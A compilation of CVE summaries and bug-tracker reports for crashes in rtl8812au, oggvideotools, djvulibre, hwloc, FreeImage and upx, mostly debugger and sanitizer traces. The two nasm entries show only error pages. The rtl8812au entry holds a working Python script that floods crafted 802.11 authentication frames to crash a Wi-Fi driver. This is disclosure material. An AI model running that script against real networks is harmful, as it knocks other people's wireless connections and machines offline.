An issue was discovered in function nl80211_send_chandef in rtl8812au v5.6.4.2 allows attackers to cause a denial of service.

**testing environment**  
root@kali:~# uname -r  
5.6.0-kali2-amd64

**poc:**  
\`

#!/usr/bin/env python  
#coding=utf-8  
import time  
import socket

AP\_MAC = "00:22:66:88:22:00"  
STA\_MAC = "00:13:ef:f1:04:ef"  
ETH\_P\_ALL = 3  
IFACE = "wlan0"

def mac2str(mac):  
return "".join(map(lambda x: chr(int(x, 16)), mac.split(":")))

RADIO = "\\x00"  
RADIO += "\\x00"  
RADIO += "\\x24\\x00"  
RADIO += "\\x2f\\x40\\x00\\xa0"  
RADIO += "\\x20\\x08\\x00\\x00"  
RADIO += "\\x00\\x00\\x00\\x00"  
RADIO += "\\x27"  
RADIO += "\\x43"  
RADIO += "\\x6e\\x25"  
RADIO += "\\xa0\\x00"  
RADIO += "\\x00\\x00"  
RADIO += "\\x10\\x02"  
RADIO += "\\x6c\\x09"  
RADIO += "\\xa0\\x00"  
RADIO += "\\xd0\\x00"  
RADIO += "\\x00"  
RADIO += "\\x00"  
RADIO += "\\xd0"  
RADIO += "\\x00"

AUTH\_REQ\_OPEN = RADIO + "\\xB0" # Type/Subtype  
AUTH\_REQ\_OPEN += "\\x08" # Flags  
AUTH\_REQ\_OPEN += "\\xc3\\x50" # Duration ID  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # Desti8nation address  
AUTH\_REQ\_OPEN += mac2str(STA\_MAC) # Source address  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # BSSID  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Sequence control  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication algorithm (open)  
AUTH\_REQ\_OPEN += "\\x01\\x00" # Authentication sequence number  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication status  
AUTH\_REQ\_OPEN += "\\x1f\\xd8" # Authentication status  
AUTH\_REQ\_OPEN += "\\x5a\\x07" # Authentication status  
AUTH\_REQ\_HDR = AUTH\_REQ\_OPEN\[:-6\]

def start\_fuzz():  
s = socket.socket(socket.AF\_PACKET, socket.SOCK\_RAW, socket.htons(ETH\_P\_ALL))  
s.bind((IFACE, ETH\_P\_ALL))  
while True:  
print("send msg:",AUTH\_REQ\_OPEN)  
s.send(AUTH\_REQ\_OPEN)

def main():  
start\_fuzz()

if **name** == "**main**":  
main()  
\`  
when execute poc, we should turn on monitoring mode：  
ip link set wlan0 down  
iw dev wlan0 set type monitor  
ip link set wlan0 up

**result**

[  952.607304] WARNING: CPU: 0 PID: 1293 at net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607304] Modules linked in: nfnetlink_queue(E) nfnetlink_log(E) 88XXau(OE) nfnetlink(E) bluetooth(E) drbg(E) ansi_cprng(E) ecdh_generic(E) ecc(E) cfg80211(E) rfkill(E) vsock_loopback(E) vmw_vsock_virtio_transport_common(E) vmw_vsock_vmci_transport(E) vsock(E) intel_rapl_msr(E) intel_rapl_common(E) intel_rapl_perf(E) vmw_balloon(E) joydev(E) serio_raw(E) pcspkr(E) sg(E) vmw_vmci(E) evdev(E) ac(E) binfmt_misc(E) fuse(E) sunrpc(E) ip_tables(E) x_tables(E) autofs4(E) ext4(E) crc16(E) mbcache(E) jbd2(E) crc32c_generic(E) sd_mod(E) t10_pi(E) crc_t10dif(E) crct10dif_generic(E) crct10dif_pclmul(E) crct10dif_common(E) crc32_pclmul(E) crc32c_intel(E) ghash_clmulni_intel(E) hid_generic(E) usbhid(E) hid(E) sr_mod(E) cdrom(E) ata_generic(E) vmwgfx(E) aesni_intel(E) libaes(E) crypto_simd(E) cryptd(E) glue_helper(E) ttm(E) psmouse(E) drm_kms_helper(E) ata_piix(E) cec(E) uhci_hcd(E) ehci_pci(E) xhci_pci(E) xhci_hcd(E) e1000(E) ehci_hcd(E) usbcore(E) usb_common(E) mptspi(E) mptscsih(E) mptbase(E) [  952.607325]  scsi_transport_spi(E) drm(E) libata(E) i2c_piix4(E) scsi_mod(E) button(E) [  952.607329] CPU: 0 PID: 1293 Comm: RTW_CMD_THREAD Tainted: G           OE     5.6.0-kali2-amd64 #1 Debian 5.6.14-1kali1 [  952.607330] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/29/2019 [  952.607340] RIP: 0010:nl80211_send_chandef+0x14b/0x160 [cfg80211] [  952.607341] Code: 00 00 be a1 00 00 00 48 89 ef 89 44 24 04 e8 7c 8a 07 d6 85 c0 0f 84 7b ff ff ff 41 bc 97 ff ff ff e9 70 ff ff ff 31 c0 eb a7 <0f> 0b 41 bc ea ff ff ff e9 5f ff ff ff e8 c3 c7 cb d5 0f 1f 00 0f [  952.607342] RSP: 0018:ffffa687c088fd80 EFLAGS: 00010246 [  952.607343] RAX: 0000000000000000 RBX: ffffa687c088fe08 RCX: 0000000000000087 [  952.607343] RDX: 00000000c07597ec RSI: 00000000ffff259c RDI: ffffa687c088fe08 [  952.607344] RBP: ffff98e22da4dd00 R08: 0000000000000003 R09: 0000000000000004 [  952.607344] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa687c088fe08 [  952.607344] R13: 0000000000000000 R14: ffff98e22da4dd00 R15: ffff98e2343a3014 [  952.607345] FS:  0000000000000000(0000) GS:ffff98e23be00000(0000) knlGS:0000000000000000 [  952.607346] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [  952.607346] CR2: 00007f9224153030 CR3: 000000007a080005 CR4: 00000000002606f0 [  952.607365] Call Trace: [  952.607395]  nl80211_ch_switch_notify.constprop.0+0xcd/0x170 [cfg80211] [  952.607424]  rtw_cfg80211_ch_switch_notify+0x138/0x147 [88XXau] [  952.607440]  ? rtw_chk_start_clnt_join+0x79/0x79 [88XXau] [  952.607454]  rtw_chk_start_clnt_join+0x72/0x79 [88XXau] [  952.607468]  join_cmd_hdl+0x267/0x373 [88XXau] [  952.607476]  rtw_cmd_thread+0x295/0x3ed [88XXau] [  952.607494]  kthread+0xf9/0x130 [  952.607504]  ? rtw_stop_cmd_thread+0x39/0x39 [88XXau] [  952.607506]  ? kthread_park+0x90/0x90 [  952.607521]  ret_from_fork+0x35/0x40 [  952.607524] ---[ end trace c0d1960d55eb317c ]---

CVE-2020-26652: fuzzing wifi ,network will down,  result is net/wireless/nl80211.c:3159 nl80211_send_chandef+0x14b/0x160 [cfg80211] · Issue #730 · aircrack-ng/rtl8812au

A Segmentation Fault issue discovered StreamSerializer::extractStreams function in streamSerializer.cpp in oggvideotools 0.9.1 allows remote attackers to cause a denial of service (crash) via opening of crafted ogg file.

Tested in Ubuntu 16.04, 64bit

The tesecase is put in the attachment and the oggvideotools vision is 0.9.1

I use the following command:

./oggLength oggLength\_SEGV

and get:

I use **valgrind** to analysis the bug and get the below information:

\==7902\== Memcheck, a memory error detector
\==7902\== Copyright (C) 2002\-2015, and GNU GPL'd, by Julian Seward et al.
\==7902\== Using Valgrind\-3.11.0 and LibVEX; rerun with -h for copyright info
\==7902\== Command: /home/wws/Music/Fuzz/target\_progs/target\_oggvideotools/install/bin/oggLength /home/wws/Music/Fuzz/cmp/fuzz\_out\_oggvideotools\_oggLength/crashes/id:000025,sig:11,src:000146,op:flip1,pos:5
\==7902\== 
\==7902\== Invalid read of size 8
\==7902\==    at 0x41F650: StreamSerializer::extractStreams() (streamSerializer.cpp:163)
\==7902\==    by 0x4261A2: StreamSerializer::open(std::\_\_cxx11::basic\_string<char, std::char\_traits<char\>, std::allocator<char\> \>&) (streamSerializer.cpp:75)
\==7902\==    by 0x40F6A3: oggLengthCmd(int, char\*\*) (oggLength.cpp:86)
\==7902\==    by 0x40E412: main (oggLength.cpp:136)
\==7902\==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
\==7902\== 
\==7902\== 
\==7902\== Process terminating with default action of signal 11 (SIGSEGV)
\==7902\==  Access not within mapped region at address 0x0
\==7902\==    at 0x41F650: StreamSerializer::extractStreams() (streamSerializer.cpp:163)
\==7902\==    by 0x4261A2: StreamSerializer::open(std::\_\_cxx11::basic\_string<char, std::char\_traits<char\>, std::allocator<char\> \>&) (streamSerializer.cpp:75)
\==7902\==    by 0x40F6A3: oggLengthCmd(int, char\*\*) (oggLength.cpp:86)
\==7902\==    by 0x40E412: main (oggLength.cpp:136)
\==7902\==  If you believe this happened as a result of a stack
\==7902\==  overflow in your program's main thread (unlikely but
\==7902\==  possible), you can try to increase the size of the
\==7902\==  main thread stack using the \--main\-stacksize\= flag.
\==7902\==  The main thread stack size used in this run was 8388608.
\==7902\== 
\==7902\== HEAP SUMMARY:
\==7902\==     in use at exit: 157,974 bytes in 18 blocks
\==7902\==   total heap usage: 22 allocs, 4 frees, 162,629 bytes allocated
\==7902\== 
\==7902\== LEAK SUMMARY:
\==7902\==    definitely lost: 0 bytes in 0 blocks
\==7902\==    indirectly lost: 0 bytes in 0 blocks
\==7902\==      possibly lost: 0 bytes in 0 blocks
\==7902\==    still reachable: 157,974 bytes in 18 blocks
\==7902\==         suppressed: 0 bytes in 0 blocks
\==7902\== Rerun with \--leak\-check\=full to see details of leaked memory
\==7902\== 
\==7902\== For counts of detected and suppressed errors, rerun with: \-v
\==7902\== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)

I use **AddressSanitizer** to build oggvideotools, this file can cause SEGV signal in function StreamSerializer::extractStreams() with the following command:

./oggLength oggLength\_SEGV

This is the ASAN information:

ASAN:SIGSEGV
\=================================================================
\==7905\==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000043e4b9 bp 0x7ffe756519d0 sp 0x7ffe75651720 T0)
    #0 0x43e4b8 in StreamSerializer::extractStreams() oggvideotools\-0.9.1/src/main/streamSerializer.cpp:163
    #1 0x43da8f in StreamSerializer::open(std::\_\_cxx11::basic\_string<char, std::char\_traits<char\>, std::allocator<char\> \>&) oggvideotools\-0.9.1/src/main/streamSerializer.cpp:75
    #2 0x43b044 in oggLengthCmd(int, char\*\*) oggvideotools\-0.9.1/src/binaries/oggLength.cpp:86
    #3 0x43b4e5 in main oggvideotools\-0.9.1/src/binaries/oggLength.cpp:136
    #4 0x7f6e840b082f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)
    #5 0x43aa78 in \_start (target\_oggvideotools/install/bin/oggLength+0x43aa78)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV 
oggvideotools\-0.9.1/src/main/streamSerializer.cpp:163 StreamSerializer::extractStreams()
\==7905\==ABORTING

CVE-2020-21723: Ogg Video Tools / Bugs

Buffer Overflow vulnerability in scan function in stdscan.c in nasm 2.15rc0 allows remote attackers to cause a denial of service via crafted asm file.

Self-registration is disabled due to spam issue (mail gorcunov@gmail.com or hpa@zytor.com to create an account)

'3392645?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2020-21687: Invalid Bug ID

An issue was discovered IW44Image.cpp in djvulibre 3.5.28 in allows attackers to cause a denial of service via divide by zero.

Divide By Zero in djvulibre-3.5.28/libdjvu/IW44Image.cpp  
Command: djvups POC  
Result:floating point exception  
Bt:  
Thread 4 "djvups" received signal SIGFPE, Arithmetic exception.  
\[Switching to Thread 0x7ffff6926700 (LWP 2411925)\]  
0x000055555563bbdf in DJVU::IW44Image::Map::image (this=0x7fffe8001640, img8=0x0, rowsize=0, pixsep=3, fast=0) at IW44Image.cpp:679  
679 if (sz / (size\_t)bw != (size\_t)bh) // multiplication overflow  
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ REGISTERS \]──────────────────────────────────────────────────────────────────────────────────────────────────  
RAX 0x0  
RBX 0x10  
RCX 0x0  
RDX 0x0  
RDI 0x7fffe8001640 —▸ 0x7fffe8001ba0 —▸ 0x7fffe80019d0 —▸ 0x7fffe8001440 —▸ 0x7fffe8001390 ◂— ...  
RSI 0x20  
R8 0x0  
R9 0x5555556b6c40 (stdout@@GLIBC\_2.2.5) —▸ 0x7ffff7bb56a0 (_IO\_2\_1\_stdout_) ◂— 0xfbad2a84  
R10 0xa  
R11 0x7fffe8000080 —▸ 0x7fffe80028f0 ◂— 0x0  
R12 0x7ffff6925bc0 ◂— 0x0  
R13 0x7fffec001030 —▸ 0x5555556b3898 —▸ 0x55555563ac40 (DJVU::IWPixmap::~IWPixmap()) ◂— endbr64  
R14 0x0  
R15 0x0  
RBP 0x0  
RSP 0x7ffff69252a0 ◂— 0x300000000  
RIP 0x55555563bbdf ◂— div rcx  
───────────────────────────────────────────────────────────────────────────────────────────────────\[ DISASM \]────────────────────────────────────────────────────────────────────────────────────────────────────  
► 0x55555563bbdf div rcx  
↓  
0x55555563bbdf div rcx

────────────────────────────────────────────────────────────────────────────────────────────────\[ SOURCE (CODE) \]────────────────────────────────────────────────────────────────────────────────────────────────  
In file: /home/zxq/CVE\_testing/source/djvulibre-3.5.28/libdjvu/IW44Image.cpp  
674 IW44Image::Map::image(signed char _img8, int rowsize, int pixsep, int fast)  
675 {  
676 // Allocate reconstruction buffer  
677 short_ data16;  
678 size\_t sz = bw \* bh;  
► 679 if (sz / (size\_t)bw != (size\_t)bh) // multiplication overflow  
680 G\_THROW("IW44Image: image size exceeds maximum (corrupted file?)");  
681 GPBuffer<short> gdata16(data16,sz);  
682 // Copy coefficients  
683 int i;  
684 short _p = data16;  
────────────────────────────────────────────────────────────────────────────────────────────────────\[ STACK \]────────────────────────────────────────────────────────────────────────────────────────────────────  
00:0000│ rsp 0x7ffff69252a0 ◂— 0x300000000  
01:0008│ 0x7ffff69252a8 ◂— 0x0  
02:0010│ 0x7ffff69252b0 ◂— 0x0  
03:0018│ 0x7ffff69252b8 —▸ 0x7fffe80019d0 —▸ 0x7fffe8001440 —▸ 0x7fffe8001390 —▸ 0x7fffe8001110 ◂— ...  
04:0020│ 0x7ffff69252c0 —▸ 0x7ffff6925310 ◂— 0x6600000001  
05:0028│ 0x7ffff69252c8 ◂— 0x0  
06:0030│ 0x7ffff69252d0 ◂— 0x4200000000000000  
07:0038│ 0x7ffff69252d8 ◂— 0x4  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ BACKTRACE \]──────────────────────────────────────────────────────────────────────────────────────────────────  
► f 0 0x55555563bbdf  
f 1 0x55555563c28b DJVU::IWPixmap::get\_pixmap()+155  
f 2 0x5555555d33b7  
f 3 0x5555555d42da  
f 4 0x5555555d4978 DJVU::DjVuFile::decode\_func()+200  
f 5 0x5555555d4b65 DJVU::DjVuFile::static\_decode\_func(void_)+69  
f 6 0x555555621bb9 DJVU::GThread::start(void\*)+57  
f 7 0x7ffff7f10609 start\_thread+217  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
pwndbg> p bw  
$1 = 0</short>

CVE-2021-46310: DjVuLibre / Bugs / #345 Divide By Zero in djvulibre-3.5.28/libdjvu/IW44Image.cpp

An issue was discovered in open-mpi hwloc 2.1.0 allows attackers to cause a denial of service or other unspecified impacts via glibc-cpuset in topology-linux.c.

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Closed

ash1852 opened this issue

Aug 31, 2022

· 3 comments

**Comments**

Hi, I found a potential null pointer dereference bug in the project source code of hwloc, and I have shown the execution sequence of the program that may generate the bug on the graph below. The red text illustrates the steps that generate the bug, the green text represents some additional information to help understanding when the steps occur and the file path can be seen in the blue framed section.

Although the code shown is for version 2.1.0, this potential bug is still present in the current version

setsize \= CPU\_ALLOC\_SIZE(last+1);

plinux\_set \= CPU\_ALLOC(last+1);

CPU\_ZERO\_S(setsize, plinux\_set);

  
would you can help to check if this bug is true?thank you!

Hello  
Yes, there are likely many corner cases like where we don't check allocation return values. Similar issue in hwloc\_linux\_set\_tid\_cpubind(), hwloc\_linux\_find\_kernel\_nr\_cpus() and hwloc\_linux\_get\_tid\_cpubind(), hwloc\_linux\_set\_thread\_cpubind(), hwloc\_linux\_get\_thread\_cpubind().  
The (bad) rational is that other things will go wrong before this one will trigger a crash. Feel free to send a fix :)

 bgoglin changed the title A potential bug of NPD potential NULL glibc-cpuset dereferences in topology-linux.c

Aug 31, 2022

CVE-2022-47022 was assigned to this issue.

I didn't have any involvement in the assignment, posting here for visibility.

Thanks for the reminder, I forgot about this, I am pushing the fix to master and all stable branches.

bgoglin added a commit that referenced this issue

Aug 24, 2023

CVE-2022-47022: potential NULL glibc-cpuset dereferences in topology-linux.c · Issue #544 · open-mpi/hwloc

An issue was discovered IW44EncodeCodec.cpp in djvulibre 3.5.28 in allows attackers to cause a denial of service via divide by zero.

Command：c44 POC  
Result：  
gdb information：floating point exception  
Program received signal SIGFPE, Arithmetic exception.  
0x00005555555afe13 in DJVU::IWBitmap::Encode::init (this=0x5555555fb1f0, bm=..., gmask=...) at IW44EncodeCodec.cpp:1431  
1431 bconv\[i\] = max(0,min(255,i\*255/g)) - 128;  
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ REGISTERS \]──────────────────────────────────────────────────────────────────────────────────────────────────  
RAX 0x0  
RBX 0x0  
RCX 0x0  
RDX 0x0  
RDI 0x0  
RSI 0x7fffffffdfc0 ◂— 0x0  
R8 0xff  
R9 0x0  
R10 0x1  
R11 0x246  
R12 0x0  
R13 0x7fffffffe110 ◂— 0x0  
R14 0x0  
R15 0x18  
RBP 0x5555555fb2f0 —▸ 0x5555555e1ab8 —▸ 0x55555557aa50 (DJVU::GBitmap::~GBitmap()) ◂— endbr64  
RSP 0x7fffffffdf70 —▸ 0x7fffffffe170 —▸ 0x5555555faf50 —▸ 0x5555555e1880 —▸ 0x55555556f0e0 (DJVU::MemoryMapByteStream::~MemoryMapByteStream()) ◂— ...  
RIP 0x5555555afe13 ◂— idiv r14d  
───────────────────────────────────────────────────────────────────────────────────────────────────\[ DISASM \]────────────────────────────────────────────────────────────────────────────────────────────────────  
► 0x5555555afe13 idiv r14d  
↓  
0x5555555afe13 idiv r14d

────────────────────────────────────────────────────────────────────────────────────────────────\[ SOURCE (CODE) \]────────────────────────────────────────────────────────────────────────────────────────────────  
In file: /home/zxq/CVE\_testing/source/djvulibre-3.5.28/libdjvu/IW44EncodeCodec.cpp  
1426 signed char _buffer;  
1427 GPBuffer<signed char=""> gbuffer(buffer,w</signed>_h);  
1428 // Prepare gray level conversion table  
1429 signed char bconv\[256\];  
1430 for (i=0; i<256; i++)  
► 1431 bconv\[i\] = max(0,min(255,i_255/g)) - 128;  
1432 // Perform decomposition  
1433 // Prepare mask information  
1434 const signed char_ msk8 = 0;  
1435 int mskrowsize = 0;  
1436 GBitmap \*mask=gmask;  
────────────────────────────────────────────────────────────────────────────────────────────────────\[ STACK \]────────────────────────────────────────────────────────────────────────────────────────────────────  
00:0000│ rsp 0x7fffffffdf70 —▸ 0x7fffffffe170 —▸ 0x5555555faf50 —▸ 0x5555555e1880 —▸ 0x55555556f0e0 (DJVU::MemoryMapByteStream::~MemoryMapByteStream()) ◂— ...  
01:0008│ 0x7fffffffdf78 ◂— 0x2f8559fd8e9bfc00  
02:0010│ 0x7fffffffdf80 —▸ 0x5555555fb1f0 —▸ 0x5555555e25b8 —▸ 0x5555555afb40 (DJVU::IWBitmap::Encode::~Encode()) ◂— endbr64  
03:0018│ 0x7fffffffdf88 ◂— 0x0  
04:0020│ 0x7fffffffdf90 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfa8 ◂— 0x0  
05:0028│ 0x7fffffffdf98 —▸ 0x7fffffffe050 —▸ 0x5555555e1b00 (DJVU::GCont::TrivTraits<1>::traits()::theTraits) ◂— 0x1  
06:0030│ 0x7fffffffdfa0 —▸ 0x55555557f820 ◂— endbr64  
07:0038│ 0x7fffffffdfa8 ◂— 0x0  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ BACKTRACE \]──────────────────────────────────────────────────────────────────────────────────────────────────  
► f 0 0x5555555afe13  
f 1 0x5555555b00a4  
f 2 0x55555556ba02 main+1986  
f 3 0x7ffff79f00b3 \_\_libc\_start\_main+243  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
pwndbg> pg  
Undefined command: "pg". Try "help".  
pwndbg> p g  
$1 = 0

CVE-2021-46312: DjVuLibre / Bugs / #344 Divide By Zero in djvulibre-3.5.28/libdjvu/IW44EncodeCodec.cpp

NULL pointer dereference vulnerability in FreeImage before 1.18.0 via the FreeImage_CloneTag function inFreeImageTag.cpp.

> tl;dr:  
> When Load TIFF format files, field "StripOffsets" is read from file. If the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy().

When the program Open a TIFF format file, it will be handed to the "TIFFFdOpen()" function of the 'PluginTIFF.cpp' file,  
in "TIFFFdOpen()" functions, it call "TIFFReadDirectory()" function, and it use "hack" code. So field "StripOffsets" will set nullptr sometimes.

int
TIFFReadDirectory(TIFF\* tif){
......
        if ((tif->tif\_dir.td\_compression==COMPRESSION\_OJPEG) &&
            (isTiled(tif)==0) &&
            (tif->tif\_dir.td\_nstrips==1)) {
            /\*
             \* XXX: OJPEG hack.
             \* If a) compression is OJPEG, b) it's not a tiled TIFF,
             \* and c) the number of strips is 1,
             \* then we tolerate the absence of stripoffsets tag,
             \* because, presumably, all required data is in the
             \* JpegInterchangeFormat stream.
             \*/
            TIFFSetFieldBit(tif, FIELD\_STRIPOFFSETS);
......
}

When we Load a TIFF format file, it will be handed to the "Load()" function of the 'PluginTIFF.cpp' file, it will call FreeImage\_CloneTag() with tag 'StripOffsets' finally.

FITAG \* DLL\_CALLCONV 
FreeImage\_CloneTag(FITAG \*tag) {
    if(!tag) return NULL;

    // allocate a new tag
    FITAG \*clone \= FreeImage\_CreateTag();
    if(!clone) return NULL;

    try {
        // copy the tag
        FITAGHEADER \*src\_tag \= (FITAGHEADER \*)tag\->data;
        FITAGHEADER \*dst\_tag \= (FITAGHEADER \*)clone\->data;

        // tag ID
        dst\_tag\->id \= src\_tag\->id;
        // tag key
        if(src\_tag\->key) {
            dst\_tag\->key \= (char\*)malloc((strlen(src\_tag\->key) + 1) \* sizeof(char));
            if(!dst\_tag\->key) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            strcpy(dst\_tag\->key, src\_tag\->key);
        }
        // tag description
        if(src\_tag\->description) {
            dst\_tag\->description \= (char\*)malloc((strlen(src\_tag\->description) + 1) \* sizeof(char));
            if(!dst\_tag\->description) {
                throw FI\_MSG\_ERROR\_MEMORY;
            }
            strcpy(dst\_tag\->description, src\_tag\->description);
        }
        // tag data type
        dst\_tag\->type \= src\_tag\->type;
        // tag count
        dst\_tag\->count \= src\_tag\->count;
        // tag length
        dst\_tag\->length \= src\_tag\->length;
        // tag value
        switch(dst\_tag\->type) {
            case FIDT\_ASCII:
                dst\_tag\->value \= (BYTE\*)malloc((src\_tag\->length + 1) \* sizeof(BYTE));
                if(!dst\_tag\->value) {
                    throw FI\_MSG\_ERROR\_MEMORY;
                }
                memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);
                ((BYTE\*)dst\_tag\->value)\[src\_tag\->length\] \= 0;
                break;
            default:
                dst\_tag\->value \= (BYTE\*)malloc(src\_tag\->length \* sizeof(BYTE));
                if(!dst\_tag\->value) {
                    throw FI\_MSG\_ERROR\_MEMORY;
                }
                memcpy(dst\_tag\->value, src\_tag\->value, src\_tag\->length);                    //<---- src\_tag\->value \= nullptr
                break;
        }

        return clone;

    } catch(const char \*message) {
        FreeImage\_DeleteTag(clone);
        FreeImage\_OutputMessageProc(FIF\_UNKNOWN, message);
        return NULL;
    }
}

So if the file compression is OJPEG and "StripOffsets" not exist in TIFF files, FreeImage will try to read nullptr by memcpy(). It allows an attacker to cause Denial of Service.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(8558.62d4): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=cbc20000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=00aff42c ebp\=00aff458 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(8558.62d4): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=00000008 ebx\=06a8bff8 ecx\=00000002 edx\=00000008 esi\=00000000 edi\=0fd44ff8
eip\=102a6e77 esp\=00aff500 ebp\=00aff54c iopl\=0         nv up ei pl nz ac po nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010212
FreeImage!memcpy+0x507:
102a6e77 8b16            mov     edx,dword ptr \[esi\]  ds:002b:00000000\=????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 00aff504 1006577c     0fd44ff8 00000000 00000008 FreeImage!memcpy+0x507 (FPO: \[3,0,2\]) (CONV: cdecl) \[d:\\agent\\\_work\\4\\s\\src\\vctools\\crt\\vcruntime\\src\\string\\i386\\memcpy.asm @ 657\] 
01 00aff54c 10003dd0     0fd3efe8 00000001 0fd32ff8 FreeImage!FreeImage\_CloneTag+0x13c
02 00aff590 1006ba21     00000001 06a87ff8 0fd36ff0 FreeImage!FreeImage\_SetMetadata+0x3c0
03 00aff5d8 1006bb17     06a87ff8 1006bccd 06a87ff8 FreeImage!tiff\_read\_geotiff\_profile+0xa91 (FPO: \[Uses EBP\] \[2,11,4\])
04 00aff634 100356a2     06a87ff8 06a63c88 00aff900 FreeImage!tiff\_read\_exif\_tags+0x47
05 00aff664 10036c8b     06a63c88 06a87ff8 06a52fc8 FreeImage!\_TIFFmemcmp+0xae2
06 00aff8ac 1000d9de     00aff900 06a52fc8 105f0700 FreeImage!\_TIFFmemcmp+0x20cb (FPO: \[5,139,3\])
07 00aff8e0 1000da60     00000012 00aff900 06a52fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
08 00aff90c 00b0107b     00000012 06a4efee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

\=

CVE-2021-40264: FreeImage / Bugs / #335 A NULL pointer dereference exists in function FreeImage_CloneTag() located in PluginTIFF.cpp

Buffer Overflow vulnerability in hash_findi function in hashtbl.c in nasm 2.15rc0 allows remote attackers to cause a denial of service via crafted asm file.

Self-registration is disabled due to spam issue (mail gorcunov@gmail.com or hpa@zytor.com to create an account)

'3392644?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2020-21685: Invalid Bug ID

Reachable Assertion vulnerability in upx before 4.0.0 allows attackers to cause a denial of service via crafted file passed to the the readx function.

**What's the problem (or question)?**

Assertion \`(unsigned)len <= buf->getSize()' failed in file.cpp:275

upx.out: file.cpp:275: virtual int InputFile::readx(MemBuffer\*, int): Assertion \`(unsigned)len <= buf\-\>getSize()' failed.
Program received signal SIGABRT, Aborted.

    pwndbg> bt
    #0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
    #1  0x00007ffff7bcc859 in __GI_abort () at abort.c:79
    #2  0x00007ffff7bcc729 in __assert_fail_base (fmt=0x7ffff7d62588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x5555555f5618 "(unsigned)len <= buf->getSize()", file=0x5555557067b1 "file.cpp", line=275, function=<optimized out>) at assert.c:92
    #3  0x00007ffff7bddf36 in __GI___assert_fail (assertion=0x5555555f5618 "(unsigned)len <= buf->getSize()", file=0x5555557067b1 "file.cpp", line=275, function=0x5555555f5638 "virtual int InputFile::readx(MemBuffer*, int)") at assert.c:101
    #4  0x000055555558a280 in InputFile::readx(MemBuffer*, int) ()
    #5  0x00005555555c5969 in PackUnix::packExtent(PackUnix::Extent const&, Filter*, OutputFile*, unsigned int, unsigned int) ()
    #6  0x00005555555b4fb2 in PackMachBase<N_Mach::MachClass_64<N_BELE_CTP::LEPolicy> >::pack2(OutputFile*, Filter&) ()
    #7  0x00005555555c4d98 in PackUnix::pack(OutputFile*) ()
    #8  0x00005555555d6028 in Packer::doPack(OutputFile*) ()
    #9  0x00005555555eacd3 in do_one_file(char const*, char*) ()
    #10 0x00005555555eaf8f in do_files(int, int, char**) ()
    #11 0x00005555555973c7 in upx_main(int, char**) ()
    #12 0x000055555557c4e2 in main ()
    #13 0x00007ffff7bce0b3 in __libc_start_main (main=0x55555557c3e0 <main>, argc=2, argv=0x7fffffffe208, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe1f8) at ../csu/libc-start.c:308
    #14 0x000055555557c5fe in _start ()
    

**What should have happened?**

No crash.

**Do you have an idea for a solution?**

No.

**How can we reproduce the issue?**

1.make  
2../src/upx.out ./poc  
poc.zip

**Please tell us details about your environment.**

*   ./upx.out --version  
    upx 4.0.0-git-5d1347a359bb  
    UCL data compression library 1.03  
    zlib data compression library 1.2.11  
    LZMA SDK version 4.43
*   Host Operating System and version: Ubuntu 20.04 focal
*   Host CPU architecture: AMD E  
    poc.zip  
    PYC 7742 64-Core @ 16x 2.25GHz
*   Target Operating System and version: Ubuntu 20.04 focal
